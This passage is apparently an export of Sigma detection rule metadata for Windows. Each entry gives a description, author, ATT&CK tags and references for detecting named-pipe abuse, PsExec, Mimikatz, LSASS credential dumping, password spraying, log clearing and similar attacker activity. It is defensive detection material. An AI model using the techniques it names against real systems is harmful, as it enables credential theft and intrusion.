"https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "https://thedfirreport.com/2020/06/21/snatch-ransomware/", "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", "https://securelist.com/faq-the-projectsauron-apt/75533/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055" ] }, "uuid": "fe3ac066-98bb-432a-b1e7-a5229cb39d4a", "value": "Malicious Named Pipe" }, { "description": "Detects PsExec service installation and execution events (service and Sysmon)", "meta": { "author": "Thomas Patzke", "creation_date": "2017/06/12", "falsepositive": [ "Unknown" ], "filename": "pipe_created_psexec_default_pipe.yml", "level": "low", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://jpcertcc.github.io/ToolAnalysisResultSheet", "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe.yml" ], "tags": [ "attack.execution", "attack.t1569.002", "attack.s0029" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f3f3a972-f982-40ad-b63c-bca6afdfad7c", "value": "PsExec Default Named Pipe" }, { "description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).\nUsed to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.\n", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", "creation_date": "2021/10/08", "falsepositive": [ "Processes in the filter condition" ], "filename": "pipe_created_susp_adfs_namedpipe_connection.yml", "level": "high", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml", "https://o365blog.com/post/adfs/", "https://github.com/Azure/SimuLand", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml" ], "tags": [ "attack.collection", "attack.t1005" ] }, "related": [ { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ea13e8c-03ea-409b-877d-ce5c3d2c1cb3", "value": "ADFS Database Named Pipe Connection" }, { "description": "Detects creation of default named pipes used by the Koh tool", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/08", "falsepositive": [ "Unlikely" ], "filename": "pipe_created_koh_default_pipe.yml", "level": "critical", "logsource.category": "pipe_created", "logsource.product": "windows", "refs": [ "https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_koh_default_pipe.yml" ], "tags": [ "attack.privilege_escalation", "attack.credential_access", "attack.t1528", "attack.t1134.001" ] }, "related": [ { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0adc67e0-a68f-4ffd-9c43-28905aad5d6a", "value": "Koh Default Named Pipes" }, { "description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)", "meta": { "author": "Florian Roth (rule), David ANDRE (additional keywords)", "creation_date": "2017/01/10", "falsepositive": [ "Naughty administrators", "AV Signature updates", "Files with Mimikatz in their filename" ], "filename": "win_alert_mimikatz_keywords.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://tools.thehacker.recipes/mimikatz/modules", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml" ], "tags": [ "attack.s0002", "attack.lateral_movement", "attack.credential_access", "car.2013-07-001", "car.2019-04-004", "attack.t1003.002", "attack.t1003.004", "attack.t1003.001", "attack.t1003.006" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "06d71506-7beb-4f22-8888-e2e5e2ca7fd8", "value": "Mimikatz Use" }, { "description": "A rule has been modified in the Windows Firewall exception list", "meta": { "author": "frack113", "creation_date": "2022/02/19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_change_rule.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml" ], "tags": "No established tags" }, "uuid": "5570c4d9-8fdd-4622-965b-403a5a101aa0", "value": "Modified Rule in Windows Firewall with Advanced Security" }, { "description": "A rule has been deleted in the Windows Firewall exception list.", "meta": { "author": "frack113", "creation_date": "2022/02/19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_delete_rule.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml" ], "tags": "No established tags" }, "uuid": "c187c075-bb3e-4c62-b4fa-beae0ffc211f", "value": "Delete Rule in Windows Firewall with Advanced Security" }, { "description": "The Windows Firewall service failed to load Group Policy.", "meta": { "author": "frack113", "creation_date": "2022/02/19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_failed.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed.yml" ], "tags": "No established tags" }, "uuid": "7ec15688-fd24-4177-ba43-1a950537ee39", "value": "Failed to Load Policy in Windows Firewall with Advanced Security" }, { "description": "Windows Firewall has been reset to its default configuration.", "meta": { "author": "frack113", "creation_date": "2022/02/19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_reset.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset.yml" ], "tags": "No established tags" }, "uuid": "04b60639-39c0-412a-9fbe-e82499c881a3", "value": "Reset to Default Configuration Windows Firewall with Advanced Security" }, { "description": "Setting have been change in Windows Firewall", "meta": { "author": "frack113", "creation_date": "2022/02/19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_setting_change.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml" ], "tags": "No established tags" }, "uuid": "00bb5bd5-1379-4fcf-a965-a5b6f7478064", "value": "Setting Change in Windows Firewall with Advanced Security" }, { "description": "A rule has been modified in the Windows Firewall exception list", "meta": { "author": "frack113", "creation_date": "2022/02/19", "falsepositive": "No established falsepositives", "filename": "win_firewall_as_add_rule.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule.yml" ], "tags": "No established tags" }, "uuid": "cde0a575-7d3d-4a49-9817-b8004a7bf105", "value": "Added Rule in Windows Firewall with Advanced Security" }, { "description": "Detects local user creation on windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your windows server logs and not on your DC logs.", "meta": { "author": "Patrick Bareiss", "creation_date": "2019/04/18", "falsepositive": [ "Domain Controller Logs", "Local accounts managed by privileged account management tools" ], "filename": "win_security_user_creation.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_creation.yml" ], "tags": [ "attack.persistence", "attack.t1136.001" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "66b6be3d-55d0-4f47-9855-d69df21740ea", "value": "Local User Creation" }, { "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2020/10/18", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_via_compress_services_security.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_compress_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7a922f1b-2635-4d6c-91ef-af228b198ad3", "value": "Invoke-Obfuscation COMPRESS OBFUSCATION - Security" }, { "description": "The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.", "meta": { "author": "Roberto Rodriguez (source), Ilyas Ochkov (rule), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Unknown" ], "filename": "win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_user_couldnt_call_priv_service_lsaregisterlogonprocess.yml" ], "tags": [ "attack.lateral_movement", "attack.privilege_escalation", "attack.t1558.003" ] }, "uuid": "6daac7fc-77d1-449a-a71a-e6b4d59a0e54", "value": "User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'" }, { "description": "An attacker can use the SID history attribute to gain additional privileges.", "meta": { "author": "Thomas Patzke, @atc_project (improvements)", "creation_date": "2017/02/19", "falsepositive": [ "Migration of an account into a new domain" ], "filename": "win_security_susp_add_sid_history.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=1772", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1134.005" ] }, "related": [ { "dest-uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2632954e-db1c-49cb-9936-67d1ef1d17d2", "value": "Addition of SID History to Active Directory Object" }, { "description": "Detects failed logins with multiple accounts from a single process on the system.", "meta": { "author": "Mauricio Velazco", "creation_date": "2021/06/01", "falsepositive": [ "Terminal servers", "Jump servers", "Other multiuser systems like Citrix server farms", "Workstations with frequently changing users" ], "filename": "win_security_susp_failed_logons_single_process.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.trimarcsecurity.com/single-post/2018/05/06/trimarc-research-detecting-password-spraying-with-security-event-auditing", "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_process.yml" ], "tags": [ "attack.t1110.003", "attack.initial_access", "attack.privilege_escalation" ] }, "uuid": "fe563ab6-ded4-4916-b49f-a3a8445fe280", "value": "Multiple Users Failing to Authenticate from Single Process" }, { "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", "meta": { "author": "Florian Roth", "creation_date": "2017/01/10", "falsepositive": [ "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", "System provisioning (system reset before the golden image creation)" ], "filename": "win_security_susp_eventlog_cleared.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", "https://twitter.com/deviouspolack/status/832535435960209408", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.001", "car.2016-04-002" ] }, "related": [ { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d99b79d2-0a6f-4f46-ad8b-260b6e17f982", "value": "Security Eventlog Cleared" }, { "description": "Detects the mount of ISO images on an endpoint", "meta": { "author": "Syed Hasan (@syedhasan009)", "creation_date": "2021/05/29", "falsepositive": [ "Software installation ISO files" ], "filename": "win_security_iso_mount.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.proofpoint.com/us/blog/threat-insight/threat-actor-profile-ta2719-uses-colorful-lures-deliver-rats-local-languages", "https://twitter.com/MsftSecIntel/status/1257324139515269121", "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_iso_mount.yml" ], "tags": [ "attack.initial_access", "attack.t1566.001" ] }, "uuid": "0248a7bc-8a9a-4cd8-a57e-3ae8e073a073", "value": "ISO Image Mount" }, { "description": "Detects service installation of different remote access tools software. These software are often abused by threat actors to perform", "meta": { "author": "Connor Martin, Nasreddine Bencherchali", "creation_date": "2022/12/23", "falsepositive": [ "Unknown" ], "filename": "win_security_service_install_remote_access_software.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/misbehaving-rats/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_install_remote_access_software.yml" ], "tags": [ "attack.persistence", "attack.t1543.003", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c8b00925-926c-47e3-beea-298fd563728e", "value": "Remote Access Tool Services Have Been Installed - Security" }, { "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", "meta": { "author": "Nikita Nazarov, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unknown" ], "filename": "win_security_invoke_obfuscation_via_use_mshta_services_security.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/issues/1009", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_invoke_obfuscation_via_use_mshta_services_security.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9b8d9203-4e0f-4cd9-bb06-4cc4ea6d0e9a", "value": "Invoke-Obfuscation Via Use MSHTA - Security" }, { "description": "Detects process handle on LSASS process with certain access mask", "meta": { "author": "Roberto Rodriguez, Teymur Kheirkhabarov, Dimitrios Slamaris, Mark Russinovich, Aleksey Potapov, oscd.community (update)", "creation_date": "2019/11/01", "falsepositive": [ "Legitimate software accessing LSASS process for legitimate reason; update the whitelist with it" ], "filename": "win_security_susp_lsass_dump_generic.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml" ], "tags": [ "attack.credential_access", "car.2019-04-004", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4a1b6da0-d94f-4fc3-98fc-2d9cb9e5ee76", "value": "Generic Password Dumper Activity on LSASS" }, { "description": "Detects an installation of a device that is forbidden by the system policy", "meta": { "author": "frack113", "creation_date": "2022/10/14", "falsepositive": [ "Unknown" ], "filename": "win_security_device_installation_blocked.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-6423", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_device_installation_blocked.yml" ], "tags": "No established tags" }, "uuid": "c9eb55c3-b468-40ab-9089-db2862e42137", "value": "Device Installation Blocked" }, { "description": "detects execution of psexec or paexec with renamed service name, this rule helps to filter out the noise if psexec is used for legit purposes or if attacker uses a different psexec client other than sysinternal one", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/04/03", "falsepositive": [ "Unknown" ], "filename": "win_security_susp_psexec.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://blog.menasec.net/2019/02/threat-hunting-3-detecting-psexec.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_psexec.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "c462f537-a1e3-41a6-b5fc-b2c2cef9bf82", "value": "Suspicious PsExec Execution" }, { "description": "Detects logon with \"Special groups\" and \"Special Privileges\" can be thought of as Administrator groups or privileges.", "meta": { "author": "frack113", "creation_date": "2022/10/14", "falsepositive": [ "Unknown" ], "filename": "win_security_admin_logon.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4964", "https://github.com/Yamato-Security/EnableWindowsLogSettings/blob/7f6d755d45ac7cc9fc35b0cbf498e6aa4ef19def/ConfiguringSecurityLogAuditPolicies.md", "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_logon.yml" ], "tags": "No established tags" }, "uuid": "94309181-d345-4cbf-b5fe-061769bdf9cb", "value": "User with Privileges Logon" }, { "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.", "meta": { "author": "Mauricio Velazco", "creation_date": "2021/06/01", "falsepositive": [ "Terminal servers", "Jump servers", "Other multiuser systems like Citrix server farms", "Workstations with frequently changing users" ], "filename": "win_security_susp_failed_logons_single_source_ntlm2.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm2.yml" ], "tags": [ "attack.t1110.003", "attack.initial_access", "attack.privilege_escalation" ] }, "uuid": "56d62ef8-3462-4890-9859-7b41e541f8d5", "value": "Invalid Users Failing To Authenticate From Single Source Using NTLM" }, { "description": "The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions.", "meta": { "author": "Arun Chauhan", "creation_date": "2021/10/04", "falsepositive": [ "Red team activity", "Rare legitimate use by an administrator" ], "filename": "win_security_lolbas_execution_of_nltest.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://attack.mitre.org/software/S0359/", "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_lolbas_execution_of_nltest.yml" ], "tags": [ "attack.discovery", "attack.t1482", "attack.t1018", "attack.t1016" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "eeb66bbb-3dde-4582-815a-584aee9fe6d1", "value": "Correct Execution of Nltest.exe" }, { "description": "This detection uses Windows security events to detect suspicious access attempts to the registry key of Azure AD Health monitoring agent.\nThis detection requires an access control entry (ACE) on the system access control list (SACL) of the following securable object HKLM\\SOFTWARE\\Microsoft\\Microsoft Online\\Reporting\\MonitoringAgent.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", "creation_date": "2021/08/26", "falsepositive": [ "Unknown" ], "filename": "win_security_aadhealth_mon_agent_regkey_access.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://o365blog.com/post/hybridhealthagent/", "https://github.com/OTRF/Set-AuditRule/blob/c3dec5443414231714d850565d364ca73475ade5/rules/registry/aad_connect_health_monitoring_agent.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_aadhealth_mon_agent_regkey_access.yml" ], "tags": [ "attack.discovery", "attack.t1012" ] }, "uuid": "ff151c33-45fa-475d-af4f-c2f93571f4fe", "value": "Azure AD Health Monitoring Agent Registry Keys Access" }, { "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", "meta": { "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", "creation_date": "2017/08/22", "falsepositive": [ "Unknown (data set is too small; further testing needed)" ], "filename": "win_security_wmi_persistence.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", "https://twitter.com/mattifestation/status/899646620148539397", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_wmi_persistence.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.003" ] }, "related": [ { "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f033f3f3-fd24-4995-97d8-a3bb17550a88", "value": "WMI Persistence - Security" }, { "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", "meta": { "author": "Florian Roth", "creation_date": "2022/05/09", "falsepositive": [ "Legitimate used of encrypted ZIP files" ], "filename": "win_security_susp_opened_encrypted_zip.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/sbousseaden/status/1523383197513379841", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml" ], "tags": "No established tags" }, "uuid": "00ba9da1-b510-4f6b-b258-8d338836180f", "value": "Password Protected ZIP File Opened" }, { "description": "Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale", "meta": { "author": "Samir Bousseaden", "creation_date": "2019/04/03", "falsepositive": [ "If the source IP is not localhost then it's super suspicious, better to monitor both local and remote changes to GPO scheduledtasks" ], "filename": "win_security_gpo_scheduledtasks.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://twitter.com/menasec1/status/1106899890377052160", "https://www.secureworks.com/blog/ransomware-as-a-distraction", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_gpo_scheduledtasks.yml" ], "tags": [ "attack.persistence", "attack.lateral_movement", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a8f29a7b-b137-4446-80a0-b804272f3da2", "value": "Persistence and Execution at Scale via GPO Scheduled Task" }, { "description": "Detects suspicious failed logins with different user accounts from a single source system", "meta": { "author": "Florian Roth", "creation_date": "2017/01/10", "falsepositive": [ "Terminal servers", "Jump servers", "Other multiuser systems like Citrix server farms", "Workstations with frequently changing users" ], "filename": "win_security_susp_failed_logons_single_source2.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source2.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1078" ] }, "uuid": "6309ffc4-8fa2-47cf-96b8-a2f72e58e538", "value": "Failed NTLM Logins with Different Accounts from Single Source System" }, { "description": "Alerts on Metasploit host's authentications on the domain.", "meta": { "author": "Chakib Gzenayi (@Chak092), Hosni Mribah", "creation_date": "2020/05/06", "falsepositive": [ "Linux hostnames composed of 16 characters." ], "filename": "win_security_metasploit_authentication.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/lib/rex/proto/smb/client.rb", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_metasploit_authentication.yml" ], "tags": [ "attack.lateral_movement", "attack.t1021.002" ] }, "uuid": "72124974-a68b-4366-b990-d30e0b2a190d", "value": "Metasploit SMB Authentication" }, { "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.", "meta": { "author": "Mauricio Velazco, frack113", "creation_date": "2021/06/01", "falsepositive": [ "Vulnerability scanners", "Misconfigured systems", "Remote administration tools", "VPN terminators", "Multiuser systems like Citrix server farms" ], "filename": "win_security_susp_failed_logons_single_source_kerberos3.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos3.yml" ], "tags": [ "attack.t1110.003", "attack.initial_access", "attack.privilege_escalation" ] }, "uuid": "bc93dfe6-8242-411e-a2dd-d16fa0cc8564", "value": "Invalid Users Failing To Authenticate From Source Using Kerberos" }, { "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/03", "falsepositive": [ "Unlikely" ], "filename": "win_security_diagtrack_eop_default_login_username.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_diagtrack_eop_default_login_username.yml" ], "tags": [ "attack.privilege_escalation" ] }, "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", "value": "DiagTrackEoP Default Login Username" }, { "description": "This events that are generated when using the hacktool Ruler by Sensepost", "meta": { "author": "Florian Roth", "creation_date": "2017/05/31", "falsepositive": [ "Go utilities that use staaldraad awesome NTLM library" ], "filename": "win_security_alert_ruler.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://github.com/staaldraad/go-ntlm/blob/cd032d41aa8ce5751c07cb7945400c0f5c81e2eb/ntlm/ntlmv1.go#L427", "https://github.com/sensepost/ruler/issues/47", "https://github.com/sensepost/ruler", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624", "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4776", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ruler.yml" ], "tags": [ "attack.discovery", "attack.execution", "attack.t1087", "attack.t1114", "attack.t1059", "attack.t1550.002" ] }, "related": [ { "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "24549159-ac1b-479c-8175-d42aea947cae", "value": "Hacktool 